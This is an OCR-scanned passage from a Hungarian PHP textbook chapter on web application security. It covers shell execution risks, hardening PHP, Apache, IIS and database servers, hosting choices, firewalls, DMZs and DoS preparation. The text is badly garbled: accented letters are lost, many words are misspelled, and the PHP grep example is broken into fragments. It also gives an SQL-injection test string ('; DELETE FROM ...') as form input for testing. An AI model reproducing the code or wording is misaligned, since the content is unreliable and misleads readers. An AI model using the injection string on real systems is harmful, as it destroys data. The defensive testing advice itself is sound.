A grepnek lteznek windowsos vltozatai, st, Windows alatt elrhet a findstr.exe nev, hasonlan hasznlhat program
is. Az albbi kd futtatsval tallhatnnk meg a ,.Smith" nev embereket:
<?php
ll az -i azt jelenti,
$users =

hogy nincs klnbsg kis- s nagybet kztt

'grep -i smith lhomelhttpdlwwwltelefonszamok.txt';

ll a kimeneti sorok felbontsa tmbbe


ll figyelem,

Windows alatt a \n helyett \r\n legyen!

$sorok = split($felhasznalok,

"\n");

foreach ($sorok as $sor)


ll a neveket s a telefonszmokat ,
$nevek_szama = split($sorok,
echo "Nv:

{$nevek szama[O] },

',

'

karakter vlasztja el

);

Telefon#:

{$nevek_szama[l] }<brl>\n";

?>

Ha brmikor is megengedjk, hogy felhasznli input kerljn a fordtott idzjelek kztt lv parancsba, klnbz
biztonsgi veszlyforrsoknak tesszk ki magunkat, s rendszernk biztonsga rdekben szigoran szrni kell ezt az inputot.
A minimlis vintzkeds az escapeshellcmd fggvny hasznlata. Ha azonban biztosra szecernnk menni, ennl is szigo
rbban kell korltozni a lehetsges inputokat.
Mg ennl is rosszabb, hogy mivel alapesetben alacsony szint jogosulrsgi krnyezetben szetetnnk futtatni
webszervernket s a PHP-t (erre a kvetkez rszekben mg bvebben visszatrnk), knnyen olyan helyzetben talljuk
magunkat, hogy ezen parancsok futtatshoz magasabb szint jogosultsgokat kell kiosztanunk. Ezzel tovbb veszlyeztetjk
biztonsgunkar. Az opertor hasznlara zleti krnyezetben igen nagyfok krltekintst s vatossgor ignyel.
Az exee parancs s a rendszerfggvnyek a vgrehajt opertorhoz nagyon hasonlan viselkednek, a klnbsg annyi,

hogy a parancsor kzvetlenl, nem pedig hjkrnyezetben futtatjk, s - a vgrehajt opertorral ellenttben - nem mindig
adjk vissza a teljes kimenetet. Ugyanazokat a biztonsgi agglyokat hozzk el, gy ugyanazok a figyelmezrersek rvnyesek
rjuk is.

Webszervernk s

PHP biztonsgoss ttele

Nem elegend kdunk biztonsgossgval trdni, a PHP-t futtat webszervernk teleptse s konfigurlsa is komoly
biztonsgi agglyokat hordoz magban. A szmtgpeinkre s szervereinkre teleptend szoftverek nagy rszt olyan konfigu
rcis fjlokkal s alaprtelmezett funkcikszleetei kapjuk, amelyek a szoftver erejt s hasznossgt hivatottak demonstrlni.
A gyrtk azt felrtelezik, hogy kikapcsoljuk a szmunkra szksgtelen s/vagy a kvntnl kevsb biztonsgos funkcikat.

16

Sajnos sokan teljesen megfeledkeznek errl, vagy nem sznnak r elegend idt, hogy megfelelen vgrehajtsk.
A bizronsg,.holiszrikus" megkzeltse megkveteli, hogy webszervereink s a PHP megfelel konfigurlsrl is gondos
kodjunk. Br nincsen lehetsgnk bemutatni, hogyan lehet rninden szba jhet webszervert s PHP kiterjesztst biztons
goss tenni, legalbb nmi rmpontot s irnymutarst adunk az elindulshoz, illetve ahhoz, hogyan tudunk a tmban tovbbi
informcihoz jutni.

Tartsuk szoftvereinket naprakszen!


Rendszernk biztonsgt a legegyszerbben gy tudjuk elsegteni, ha gondoskodunk arrl, hogy az ltalunk hasznlt szaft
vernek mindig a legfrissebb s legbiztonsgosabb vltozata fusson. A PHP, az Apache HTTP Server s a Microsofr Internet
Information Server (IlS) esetben ez azt jelenti, hogy tbb-kevesebb rendszeressggel felkeressk a megfelel honlapokat
(http://www.php.ner, hrrpd.apache.org vagy www.microsofr.com/iis), ahol biztonsgi tancsokat s j verzikat keresnk,
illetve az j funkcik listjt bngszve megnzzk, vannak-e kztk a biztonsghoz kapcsold javtsok.

Webes alkalmazsok biztonsga

257

Az j verzi belltsa
Egyes szoftverek konfigurlsa s teleptse idignyes, szmos lpsbl ll folyamat lehet. Klnsen a Unix-verzik esetn,
amikor forrsbl teleptnk, szmos olyan egyb szaftver lehet, amit eltte telepteni kell, majd a megfelel modulok s kiter
jesztsek bekapcsalshoz szmos parancssori kapcsal belltsra van mg szksg.
Nagyon fontos: kszesnk magunknak rvid teleptsi tmutatt, amit a szaftver jabb verziinak teleptsekor kvetni
fogunk! gy biztosan nem fogunk megfeledkezni az olyan foncos dolgokrl, amik csak problmkat okoznnak a ksbbiekben.
A vgrehajtand lpsek magas szma rniatt igen valszntlen, hogy a telepts sorn minden egyes apr rszletet fejben ru
dunk tartani.

Az j verzi zembe helyezse


A teleptse soha nem szabad elszr kzvetlenl az zemben lv kiszolgln vgrehajtani. Mindig legyen tesztszervernk,
amelyre telepteni rudjuk a szaftvert s a webes alkalmazst, s meggyzdhetnk arrl, hogy rninden rendben mkdik-e! Az
olyan nyelvek esetben, mint a PHP, ahol egyes alaprtelmezett belltsok verzirl verzira vltozhatnak, klnsen fontos,
hogy megfelel tesztek lefuttatsval megbizonyosounk: a szaftver j vltozata nem lehet negatv hatssal alkalmazsunk
mkdsre.
Nem felttlenl szksges komoly sszegekrt j szrnitgpet beszerezni a telepts s a konfigurci tesztelsre. Az
olyan programok, amelyekkel opercis rendszernkn bell msik opercis rendszert futatharunk (pldul a VMware, Inc.
VMware vagy a Microsoft VirrualPC szoftvere), lehetv teszik, hogy akrulisan futtatott opercis rendszernkn bell vg
rehajtsuk a tesztelse.
Ha megbizonyosadtunk rla, hogy a szaftver j verzijn is megfelelen mkdik webes alkalmazsunk, az lesben mkd
kiszolglinkon is zembe helyezhetjk. Itt megint csak arra kell gyelnnk, hogy a folyamat vagy teljesen automatizlt legyen,
vagy paprra (esetleg egy fjlba) feljegyezzk a telepts sorn kvetend lpsekec, hogy a megfelel szerverkrnyezet poncos
mst lltsuk el. Az les kiszolgln is szksg van nmi vgs tesztelsre, hogy biztosak lehessnk abban, valban minden
a megfelel mdon mkdik (lsd a 16.2 brn).

sszellits

l. kiszolgl

)o

Tesztels

l. alapvet mkds

felptse

ellenrzse

2. PHP teleptse

2. resztsorozat futtatsa

3. konfigurcis fjlok

3. egysgtesztek fut

bellitsa

rarsa

4. dokumentumok

4. terhelsi tesztek

konfigurlsa

elvgzse

)o

zembe helyezs
l. szerverre msols
2. alapvet mkds

ellenrzse
3. resztsorozat futtatsa
4. egysgtesztek

futtatsa

5. ad hoc tesztek
futtatsa

16.2 bra: Kiszolglszoftver frisstsnek folyamata

A php. ini

fjl tartalma

Ha eddig mg nem szntuk r magunkat a php.ini fjl tbngszsre, itt a remek alkalom, hogy betltsk valarnilyen szveg

szerkesztbe, s megvizsgljuk a tartalmr! Az ilyen fjlok bejegyzseinek nagy rsze megfelel megjegyzsekkel rendelkezik,

16

amelyek hasznlatukat rjk le. Ezen kvl a funkciterlet/kiterjeszts neve szerinc vannak rendezve, gy az mbstring kon
figurcis opcik neve mbstring-gel kezddik, a munkamenetekkel (session) kapcsolatosak pedig session eltaggal brnak
(23. fejezet: Munkamenet-vezrls PHP-ben).
A modulok rengeteg olyan konligurcis belltst knlnak, amelyeket soha nem fogunk hasznlni, s amelyek miart-ha
ezek a modulok nincsenek bekapcsolva-aggdnunk sem kell. A hasznlt modulok esetben azonban fontos, hogy a PHP on
line kziknyvben (http://www.php.net/manual) tnzzk dokumentcijukat, s tisztban legynk az egyes kiterjesztsek
opciival, illetve azok lehetsges rtkeiveL
Meginc csak ersen ajnlott, hogy rendszeres biztonsgi mentseket ksztsnk php.ini fjlunkrl, vagy rjuk fel, hogy milyen
vltoztatsokat hajtottunk vgre benne, hogy j verzik teleptse esetn biztosak lehessnk benne: a megfelel belltsokkal
hasznljuk.
Az ezekkel a belltsokkal kapcsolatos egyetlen trkk, hogy PHP-ben rt rgi szaftver hasznlata esetn j esllyel szksg
lehet a register globals s/vagy a register long arrays bekapcsolsra. Ebben az esetben sajt magunknak
_

kell eldnteni, hogy az adott szaftver hasznlata megri-e a biztonsgi kockzatot. E kockzat egybknt gy mrskelhec, ha
rendszeresen utnanznk a szaftverhez tartoz biztonsgi javtsoknak vagy egyb frisstseknek.

\,

258

16. fezet

A webszerver konfigurlsa
Ha mr megfelelnek talljuk a PHP konfigurlst, forditsuk figyelmnket a webszerver fel! A biztonsg szempontjbl
minden kiszolglnl ms konfigurlsi folyamat vr rnk, mi most a kt legnpszerbb, az Apache HTTP Server s a Micro
soft IlS bellitst tekintjk t.

Apache HTTP Server

A httpd szerver alaprtelmezett teleptse elfogadhatan biztonsgos, m rdemes nhny dolgot alaposan leellenrizni, mie
ltt lesben zembe helyeznnk a kiszolglt. Az sszes konfigurcis belltst a httpd. conf nev fjlban talljuk, amely
ltalban a httpd alapteleptsnek l conf alknyvtrban helyezkedik el (ami nem ms, rnint a /usr l local/apache/
conf vagy a C: \Program Files\Apache Software Foundation\Apache 2. 2\conf) . Ne felejtsk el elolvasni a ki
szolgl online dokumentcijban (http://httpd.apache.org/docs-project) a vonatkoz biztonsgi rszeket!
Ezen tlmenen tegyk a kvetkezket:
Ellenrizzk, hogy a httpd superuser jogosultsgok nlkli felhasznlknt fut (Unix esetn pldul nobody vagy
httpd ) ! Ezt a httpd. confUser s Group bellirsai szablyozzk.
Ellenrizzk az Apache teleptsi knyvtr fjljogosultsgainak megfelel belltst! Unix esetn ez magban foglalja
azt, hogy a gykrknyvtr (amely alaprtelmezetten a htdocs/ alknyvtrat hasznlja) kivtelvel minden knyvtr
a root tulajdonban van, s 7 55 jogosultsggal rendelkezik.
Ellenrizzk, hogy a szerver gy legyen belltva, hogy megfelel szm kapcsolatot tudjon kezelni! A httpd 1.3.x
verziinak felhasznli esetben olyan sszer szmot rdemes a MaxClients rtknek adni, amely egyidej
leg mg feldolgozhat (az alaprtelmezett rtk, a 150 teljesen sszer, de ha nagyobb terhelsre szmtunk, meg
emelhetjk azt). Az Apache 2.x verziknl, ahol lehetsges a multithreading (tbb szJon fut feladat-vgrehajts),
a ThreadsPerChild rtket kell ellenrizni (az alaprtelmezett rtk, az 50 ltalban elfogadhat).
A httpd. conf fjlba megfelel direktvkat belevve rejtsk el a fjlokat, arniket nem szeretnnk, ha ms is ltna! Ha
pldul az . inc fjlok megtekinthetsgt szeretnnk megakadlyozni, az albbiakat kell bernunk:

<Files

"\.inc$">

Order allow,
Deny

deny

from all

</Files>

Mint mr emltettk, minl elbb tvoltsuk el ezeket a fjlokat az adott weboldal gykrknyvtrbl!

Microsoft IlS
Az liS konfigurlsa kevsb a belltsfjlok krl forog, rnint az Apache HTTP Server esetn, ennek ellenre szmos dolgot

16

meg kell tennnk az liS teleptsnek biztonsgoss ttele rdekben:


vakodjunk attl, hogy a weboldalak ugyanarra a meghajtra kerljenek, rnint az opercis rendszer!
Hasznljuk az NTFS fjlrendszert, s fordtsunk idt arra, hogy a szksges helyekrl eltvoltsuk az rsi jogosultsgo
kat!
Trljk ki az liS ltal alaprtelmezsben a gykrknyvtrba teleptett sszes fjlt! Nagy valsznsggel zek tl
nyom tbbsgt soha nem fogjuk hasznlni (st, knnyen lehet, hogy egyiket sem). Teleptskor jelents mennyisg
tartalom kerl az \inetpub knyvtrba, amelyre, hacsak nem hasznljuk az online konfigurcis eszkzket (s ne
hasznljuk ezeket, vlasszuk inkbb az iisadrnin segdalkalmazst!), nem lesz szksgnk.
Kerljk a gyakori nevek hasznlatr! Rengeteg automatizlt program ltezik, amely a gykrknyvtrunk gyakori nev
alknyvtraiban (pldul Scripts/, egi -bin/, b in/ stb.) kutat kdok s prograrnak utn.
Ismt csak ajnlani tudjuk, hogy az liS dokumentcijt elolvasva alaposabban tjkozdjunk az ajnlott biztonsgi eljrsokrL

Webes alkalmazsok hosztolsa fizets szolgltats ignybevtelvel


Bizonyos felhasznJk szmra kicsit problmsabb a virtulis szerver biztonsgnak krdse - azokra gondolunk itt, akik
fizets PHP/MySQL hosztolsi szaigitats ignybevtelvel futtatjk webes alkalmazsaikat. Az ilyen kiszolglkan rninden
bizonnyal nem frnk hozz a php.ini fjlhoz, gy nem tudjuk a belltsokat a neknk megfelelre alaktani. Szlssges eset
ben mg arra sincsen lehetsgnk, hogy a gykrknyvtron kivl knyvtrakat hozzunk ltre, gy nem tudjuk a beillesztend
fjljainkat biztonsgos helyre pakolni. Szerencsre az ilyen szolgltatsokat nyjt cgek is versenykpesek szeremnek marad
ni, a nem kellen biztonsgos felpts pedig soha nem fog az gyflmegtarts lehetsges mdszerei kz tartozni.

Webes alkalmazsok biztonsga

259

A biztonsg rdekben szmos dolgot megtehetnk, amikor megfelel szolgltatst keresnk webes alkalmazsaink elhelyezsre:
Mieltt valamelyik szaigitats mellett dntennk, nzzk meg, milyen tmogatst nyjranak! A jobb szolgltatsokhoz
teljes online dokumentci tartozik (egyes szolgltatknl kivl dinamikus oktatanyagokat is tallhatunk), amelybl
pontosan kiderl, hogyan kanfigurljk trhelynket. Ezt alaposan ttanulmnyozva megtudhatjuk, milyen korltoz
sokra s tmogatsra szmthatunk az adott szolgltatnl.

Olyan trhelyszolgltatst keressnk, amely teljes knyvtrft s nem csak gykrknyvtrat knl! Egyes szolglra
tknl trhelynk gykrknyvtra az alap dokumentumknyvtr, msok teljes knyvtrhierarchit adnak, amelyben
a public_html/ az a hely, ahova a tartalom s a futtathat PHP kdok kerlnek. Ezeknl a biztonsg rdekben
megtehetjk, hogy ltrehozzuk az includes/ knyvtrat. Ezzel lehetv vlik, hogy msok ne tekinchessk meg . inc
fjljaink tartalmr.
Prbljuk meg kiderteni, milyen belltsokat hasznlnak a php. ini fjlban! Br a szolgltatk tbbsge nem jelenti
meg ezeket az oldalon, illerve nem fogjk a fjlt e-mailben elkldeni szmunkra, a mszaki gyflszolglattl megkr
dezhetjk, hogy a biztonsgos md be van-e kapcsolva, s milyen fuggvnyeket s osztlyokat kapcsoltak ki. A bellt
sok rtkeit az ini_get fuggvnnyel is kiderthetjk. A biztonsgos mdot nem hasznl vagy egyeden fuggvnyt ki
nem kapcsal oldalak esetben jobban aggdhatunk, mint az sszeren biztonsgos konfigurcit knl szolgltatknl.
Nzzk meg, milyen verzij szaftvereket futtatnak! A legfrissebb verzikat? Ha nem talljuk a phpinfo kimenett,
hasznljunk olyan szolgltatst, mint pldul a Netcraft (http:/ /www.netcraft.com), amellyel megtudhatjuk, milyen
szaftvereket futtat az adott oldal! Ellenrizzk, hogy valban PHP5-t hasznlnak!

Keressnk olyan szaigitatst, ahol van ingyenes prbaidszak, pnzvisszafizetsi garancia vagy brmilyen ms lehetsg,
amivel hossz tv ktelezettsgvllals nlkl kiprblhatjuk, hogyan fognak futni webes alkalmazsaink az adott trhelyen.

Az adatbzisszerverek biztonsga
Tl azon, hogy minden szaftvernket naprakszen tartjuk, szmos dolgot megtehetnk adatbzisaink biztonsga rdek
ben. Megint csak elmondhat, hogy a biztonsgrl teljes knyveket rhatnnk minden egyes adatbzisszerverhez, amelyre
webes alkalmazsainkat rjuk, m itt s most csak olyan ltalnos stratgikat tudunk bemutatni, amelyek mindenkire egy
arnt rvnyesek.

Felhasznlk s a jogosultsgi rendszer


Sznjunk r idt s energit, hogy megismerjk a vlasztott adatbzisszerver hitelestsi s jogosuJtsgi rendszert! Az adat
bzisok elleni tmadsok kzl meglepen sok egyszeren azrt tud sikeres lenni, mert az emberek nem fordtanak kell idt
arra, hogy meggyzdjenek a rendszer biztonsgossgrL
Ellenrizzk, hogy van-e minden felhasznlnak jelszava! Minden adatbzisszerver esetben az egyik legels tennivalnk
legyen meggyzdni arrl, hogy az adatbzis rendszergazdja rendelkezik jelszvall Figyeljnk, hogy a jelszavak ne tartalmaz
zanak sztri szavakat! Mg az olyan jelszavak is, mint a 44bicikliA, sokkal kevsb biztonsgosak, mint pldul az FI93!!xl2@.
Az olyanoknak, akik aggdnak jelszavuk megjegyezhetsge miatt, javasoljuk, hogy egy tetszleges mondar szavainak kezd
betit hasznljk, a kis- s nagyberket pedig valamilyen egyszer sma szerint vlrogassk, pldul MsKsTsHsKs, azaz"Mir
srsz, kis szcs, tn ss hst srsz, kis szcs?"
Sok adarbzis ( kztk a MySQL rgebbi verzii) teleptsekor ltrehoz egy nvrelen felhasznlt, aki a kvnatosnl tbb
jogo sultsggal rendelkezik . Miurn feltrkpeztk s megismertk a jogosulrsgi rendszert, ellenrizzk, hogy az alapr
telmezett felhasznJk pontosan azt teszik, amit tennik kell, a felesleges vagy rl sok jogosultsggal rendelkezket pedig
tvoltsuk el!
gyeljnk, hogy csak a rendszergazdnak legyen hozzfrse a jogosuJtsgi tblkhoz s adminisztrcis adatbzisokhoz!
Minden ms felhasznlnak csak azokhoz az adatbzisokhoz szabad hozzfm ie, s csak azokat szabad mdostania, amelyek
kel rnylegesen dolga van.
Tesztelskppen prbljuk ki a kvetkezket, s figyeljk, trtnik-e hiba:

Kapcsoldjunk felhasznli nv s jelsz megadsa nlkl!


Kapcsoldjunk rendszergazdaknt jelsz nlkl!

Adjunk meg rendszergazdaknt hibs jelszt!


Kapcsoldjunk felhasznlknt, s prbljunk meg olyan tblt elrni, amelyre nincsen jogosultsgunk!
Kapcsoldjunk felhasznlkn t, s prbljuk meg elrni a rendszeradatbzisokat vagy a jogosuJtsgi tblkat!

Ang nem prbltuk ki mindezeket, nem lehetnk biztosak rendszernk jogosuJtsgi rendszernek megfelel vdelmben.

16

260

16. fgezet

Adatklds a szerverre
Knyvnk eddigi oldalain mr tbbszr elmondtuk (s mg j nhnyszor el fogjuk mondani), hogy soha ne kldjnk a szer
verre szretlen adatokat. Az adatbzis-kiterjesztsek ltal elrhet, a vdkarakterek hasznlatt lehetv tev fggvnyek
(pldul a mysqli_real_escape_string vagy a mssql_ escape_string ) segtsgvel legalbb alapszint vdelmet
kialakitharunk.
Azonban az is kiderlt mr szmunkra, hogy nem elegend ezekre a fggvnyekre tmaszkodni, a beviteli rlapok minden
mezjnl tpusellenrzst kell vgrehajtani. Minden bizonnyal szeretnnk elkerlni, hogy a felhasznli nevet vr mezbe tbb
kilobjtnyi adat vagy felhasznli nevekbe nem val karakter kerljn. A kdban vgrehajtott ellenrzssei pontosabb hibaze
neteket adhatunk, s cskkenthetjk az adatbzisainkra leselked biztonsgi kockzatot. Szmszer s dtum/id adatok eset
ben is gyzdjnk meg a felhasznJk ltal bevitt rtkek sszersgrl, s csak utna tovbbtsuk azokat a kiszolglnak!
Vgezetl az azt megenged szervereken hasznlharunk trolt eljrsokat, amelyek nagyrszt elvgzik helyetrnk a vdka
rakterek kiosztsnak munkjt, s gondoskodnak arrl, hogy szksg esetn idzjelek kz kerljn az, aminek idzjelek
kztt kell lennie.
Megint csak tesztelssei tudunk megbizonyosodni arrl, hogy adatbzisunk megfelelen kezeli az adatokat:
Prbljunk az rlapokba olyan rtkeket bevinni, mint pldul a ; DELETE FROM Artalmatlan_Tabla' stb.!
Szmokat vagy dtumokat fogad mezkbe prbljunk olyan rtelmetlen rtkeket berni, mint az 55#$ 8 8 8 ABC', s
figyeljnk, hogy hibazenetet kapunk-e!
Prbljunk meg az ltalunk megadott mrethatron felli adatot bevinni, s figyeljk, hogy bekvetkezik-e a hiba!
'

'

Kapcsolds a szerverhez

16

Szmos mdszer ltezik, hogy az adatbzisszervereinkhez val kapcsoldsokat ellenrzsnk alatt tartva megrizzk a ki
szolglink biztonsgossgt. Az egyik legegyszerbb mdszer, ha korltozzuk a felhasznlkat abban, hogy honnan kapcso
ldhatnak. A klnbz adatbzis-kezel rendszerekben hasznlt jogosuJtsgi rendszerek nagy rsznl nem csak felhasznli
nevet s jelszt adharunk meg az egyes felhasznlkhoz, hanem azokat a szmrgpeket is meghatrozhaguk, amelyekrl
a csatlakozs megengedett. Amennyiben adatbzisszervernk s webszervernk/PHP motorunk ugyanazon a szmtgpen
tallhat, akkor rdemes csak a localhostrl vagy a gp ltal hasznlt IP-cmrl rkez kapcsoldsokat engedlyezni. Ha
webszervernk llandan ugyanazon a gpen mkdik, akkor teljesen helynval, ha a felhasznlkat csak arrl a szmtgp
rl engedjk csatlakozni az adatbzishoz.
Sok adatbzisszerver funkcii kztt megtalljuk azt a lehetsget, hogy rickosrott kapcsolaton keresztl (ltalban
a Secure Sockets Layer - SSL nven ismert protokollt hasznlva) kapcsoldjunk hozzjuk. Ha brmikor is a nyilvnos
interneten keresztl kell adatbzisszerverhez kapcsoldni, titkostott kapcsolatot kell hasznlni - amennyiben elrhet ilyen.
Ha nem, rdemes lehet alagutat (tunne!) ltrehoz termket vlasztani. Az alagt olyan pokolian okos det, amely biztonsgos
kapcsolatot hoz ltre az egyik gptl a msikig, s a TCP /IP portok (pldul a 80-as port a HTTP- s a 25-s az SMTP
forgalomhoz) ezen a biztonsgos kapcsolaton keresztl vannak a msik gphez irnytva, ami helyinek ltja a forgalmat.
Vgezetl nem szabad megfeledkezni arrl, hogy az adatbzisszervernl belltott, lcala egyszerre kezelni kpes kapcsold
sok szma nagyobb legyen, mint amennyit a webszerver s a PHP lehetv tesz. Korbban emltettk, hogy az Apache HTTP
Server 1.3.x verzii alaprtelmezsben maximum 150 kapcsolatot tudnak kezelni. Ha a my.ini-ben a MySQL ltal megenge
dett kapcsolatok szmt az alaprtelmezetten rtken (100) hagyjuk, mris hibs konfigurcit kapunk. Ezt elkerlend min
denkppen a kvetkez mdostst kell vgrehajtanunk my.ini fjlunkban:
max connections=151

Azrt engedlyeztnk eggyel tbb kapcsolatot, mert a MySQL mindig fenntart egyet a rendszergazdnak. gy akkor is
bejelentkezhet s dolgozhat, ha a kiszolgl teljesen le van terhelve.

A kiszolgl futtatsa
A kiszolgl biztonsga rdekben szmos dolgot megtehetnk az adatbzisszerver futtatsa sorn. Az els s legfontosabb,
hogy soha nem szabad azt superuserknt (Unix esetn rootknt, Windows esetn rendszergazdaknt) futtatni. Ha a szerverr
brmikor feltrik, teljes rendszernk veszlyben lesz. A MySQL igazbl csak akkor hagyja, hogy superuserknt futtassuk, ha
ilyetn szndkunkat megerstve knyszertjk r - ami termszetesen megint csak ellenjavallt.
Az adatbzisszaftver belltsa utn a legtbb program azt kri, hogy - a frksz szemek elli elrejtsk rdekben - m
dostsuk az adatbzis knyvtrainak s fjljainak rulajdonosait, illetve a vonatkoz jogosultsgokat. Ne feledjk megtenni ezt,
s gyeljnk, hogy ne a superuser legyen az adatbzisfjlok tuldonosa! (Ellenkez esetben ugyanis a nem superuseri adatb
zisszerver-folyamatok mg sajt adatbzisfjljaikba sem tudnnak rni.)

Webes alkalmazsok biztonsga

261

Amikor a jogosultsgi s hitelestsi rendszerrel dolgozunk, csak a lehet legszkebb jogosultsgokkal hozzuk ltre a fel
hasznlkat! Nem rdemes szles kr jogosultsgokat kiosztani nekik, mondvn valamikor mg szksgk lehet r. ppen
ellenkezleg: szksg esetn kell tovbbi jogosultsgokat adni.

A hlzat vdelme
Szmos mdszer ltezik a webes alkalmazsunknak otthont ad hlzat vdelmre. Br ezek rszletes bemutatsa meghaladja
knyvnk lehetsgeit, viszonylag egyszeren tjkozdhatunk az ilyen mdszerekrl, amik nem csak webes alkalmazsainkat
fogjk vdeni.

Tzfalak teleptse
Ahogy a PHP-ben rt webes alkalmazsunkba rkez minden felhasznli inputot szrnnk kell, ugyangy kell eljrni a hl
zarunkba rkez teljes forgalommal, legyen sz cges irodai hlzatrl vagy adatkzpontrl, amelyben szervereinket s alkal
mazsainkat zemeltetjk.
Tzfallal tehetjk ezt meg, ami lehet ismert opercis rendszeren - pldul FreeBSD-n, Linuxon vagy Microsoft
Windowsan - fut szaftver vagy hlzati eszkzgyrttl beszerzett, dediklt hlzatbiztonsgi berendezs. A tzfal feladata
a

nem kivnt forgalom kiszrse s a hozzfrs megakadlyozsa hlzatunk azon rszeihez, amelyeket nem szeretnnk, hogy

msok bolygassanak.
A TCP /IP protokoll, amelyre az internet pl, portokon keresztl mkdik, spedig gy, hogy klnbz portokat ren
delnk az eltr pus forgalmakhoz (a HTTP-hez pldul a 80-as port tartozik). Sok portot szigoran csak bels hlzati
forgalomra hasznlunk, ezek kis szerepet jtszanak a klvilggal val rintkezsnkben. Ha megtiltjuk, hogy ezeken a porto
kon keresztl forgalom rkezzen hlzarunkba vagy menjen ki, cskkentjk annak kockzatt, hogy szmtgpeinket vagy
szervereinket (s ezltal webes alkalmazsainkat) feltrjk.

DMZ hasznlata
Mr utaltunk r, hogy szervereinket s webes alkalmazsainkat nem csak kls szemlyektl rkez tmads fenyegeti, hanem
a bels,

rosszindulat felhasznJk is kockzatot jelentenek. Br utbbi tmadk kevesebben vannak, a cg mkdsrl kiter

jedt informcikkal rendelkeznek, s ezek birtokban akr nagyobb krt kpesek okozni.
Az ilyen kockzat mrsklsnek egyik mdja az gynevezett demilitarizlt zna ( demilitarized zone - DMZ) megvalsr
sa. Ebben

a rendszerben a webes alkalmazsainkat futtat kiszolglkat (s ms szervereket, pldul a cges fjl- vagy levelez

) elklntjk az internettl s a bels vllalati hlzatoktl egyarnt (16.3 bra).

szervert

Demilitarizlt zna

16

Adatbzis
szerver

16.3 bra:

Demilitarizlt zna (DMZ) megvalstsa

A DMZ kt legnagyobb elnye:

A bels s kls tmadsoktl egyarnt vdi szervereinket s webes alkalmazsainkat.


Vllalari hlzarunk s az interner kz tbb tzfal- s biztonsgi rteget helyezve mg jobban vdi bels hlzatainkat.

262

16.fezet

A DMZ tervezst, teleptst s zemeltetst a webes alkalmazsunkat zemeltet hely hlzati rendszergazdival kell
egyeztetni.

Felkszls a DoS s D DoS tmadsokra


Napjaink taln legflelmetesebb tmadsa a 15. fejezetben bemutatott, szolgltatsmegtagadssal jr (DoS) tmads. A h
lzati DoS s a mg fenyegetbb, megosztott szolgltatsmegtagadssal jr (D DoS) tmadsok eitritett szmtgpekkel,
frgekkel vagy a szoftverteleptsek gyengesgeit kihasznl egyb eszkzkkel dolgoznak. De akr a TCP!IP vagy hasonl
protokollok kialaktsi problmit is felhasznlharjk a kiszemelt szmtgp elrasztsra s a szablyosan viselked felhasz
nJk csatlakozsi krseinek meghistsra.
Sajnos az ilyen tpus tmadst nagyon nehz megelzni, vagy reaglni r. Egyes hlzatieszkz-gyrtk rulnak a DoS
tmadsok kockzatt s hatst mrskl berendezseket, de tfog megolds egyelre nem ltezik az ilyen tmadsok ellen.
A legkevesebb, amit hlzati rendszergazdnk megtehet, hogy nmi kutatst folytatva tjkozdik a hlzatainkra s
az azokon lv teleptsekre leselked veszlyekrl s kockzatokrL Az gy megszerzett informcik birtokban, valamint
internetszolgltatnkkal (vagy a szervereink hosztolsval megbzott szolgltatval) egyeztetve fel lehet kszlni az ilyen t
mads ltal elidzett helyzetre. Kiszolglink mg akkor is a tmads ldozataiv vlhatnak, ha az nem kifejezetten ellenk
irnyul.

Szmtgpnk s az opercis rendszer biztonsga


Mg valaminek a vdelmrl gondoskodnunk kell, s ez nem ms, mint a webes alkalmazsunkat futtat kiszolgl.Az albbi
akat lehet s kell megtennnk ennek rdekben.

Tartsuk naprakszen opercis rendszernket!


Szmtgpnk biztonsgrl gy tudunk legknnyebben gondoskodni, ha figyelnk, hogy opercis rendszernk szoftvere
a lehet legfi-issebb legyen. Amint eldnrjk, hogy milyen opercis rendszert fogunk lesben hasznlni, ksztsnk tervet arra,
hogy hogyan teleptsk a frisstseit s javtsait! Bzzunk meg valakit, aki a megfelel forrsokat rendszeresen ellenrizve ri
asztsok, hibajavtsok s frisstsek utn kutat!
Hogy pontosan hol keressnk a sebezhetsgekrl informcit, az az ltalunk hasznlt opercis rendszer szoftvertl fgg.
Jellernzen attl a szoftvergyrttl kaphatunk tjkoztatst, akitl opercis rendszernket vsroltuk. Klnsen igaz ez, ha
az a Microsoft Windows, a Red Hat vagy a SuSE Linux, illetve a Sun Microsystem Solaris opercis rendszere. Egyb oper
cis rendszerek, pldul a FreeBSD, az Ubuntu Linux vagy az OpenBSD esetben ltalban az azokhoz ktd kzssgek
weboldalait rdemes ltogatni, ott megtudhatj uk, hogy milyen friss biztonsgi javtsokat ajnlanak.
Akrcsak a szoftverfrisstseket, ezeket a javtsokat is rdemes tesztkrnyezetben kiprblni, s csak sikeres teleptsk
s mkdsk utn tegyk fel ket lesben mkd kiszolglinkral gy nem az les szervereinken kell megbizonyosodnunk
arrl, hogy webes alkalmazsunk tovbbra is hibtlanul mkdik.
Termszetesen rdemes kpben lennnk opercis rendszernket s a biztonsgi javtsokat illeten: ha egy adotr opercis

16

rendszer FireWire alrendszert rinti a biztonsgi javts, de kiszolglnkban egyltaln nincsen FireWire hardver, akkor egy
rtelmen idpocskols vgigmenni a javts tesztdsi s teleptsi folyamatn.

Csak azt futtassuk, amire valban szksg van!


Sok kiszolgln elfordul problma, hogy alapbl szmos szoftver fut rajta, kztk pldul levelezszerverek, FTP szerverek,
Microsoft fjlrendszer-megosztsok (az SMB protokollon keresztl) stb.Webes alkalmazsunk futtatshoz elegend a web
kiszolgl szoftvere (pldul liS vagy Apache HT TP Server), a PHP s az ahhoz kapcsold knyvtrak, illetve az adatbzis
szerver szoftvere. Sokszor msra nincs is szksgnk.
Ha ms szoftvert nem hasznlunk, a bkessg kedvrt inkbb kapcsoljuk ki ket, gy nem kell a biztonsguk miatt sem
aggdn unk. A Microsoft Windows 2000 s az XP opercis rendszer hasznlinak mindenkppen rdemes vgigfutniuk
a szerverk ltal futtatott szolgltatsok listjn, majd kikapcsolni azt, amire nincs szksgk. Ha valamely szolgltats eset
ben bizonytalanok vagyunk, folytassunk egy kis kutatmunkt! Igen valszn, hogy valaki mr rkrdezett az interneten (s
vlaszt is kapott krdsre), hogy mire val az adott szolgltats, s tnyleg szksg van-e r.

Webes alkalmazsok biztonsga

263

Kiszolglnk fizikai biztonsga


Korbban mr emltettk azt a biztonsgi fenyegetst, hogy valaki egyszeren bestl az pletbe, kihzza a kiszolglt a h
lzatbl, majd hna al csapja, s vgan kistl vele. Ez, s:Ynos, nem vicc. Mivel egy tlagos jellemzkkel br kiszolgl nem
olcs mulatsg, a szervergpek ellopsra nem csak az ipari kmkeds s az adatlops lehet a motivci. Vannak olyanok, akik
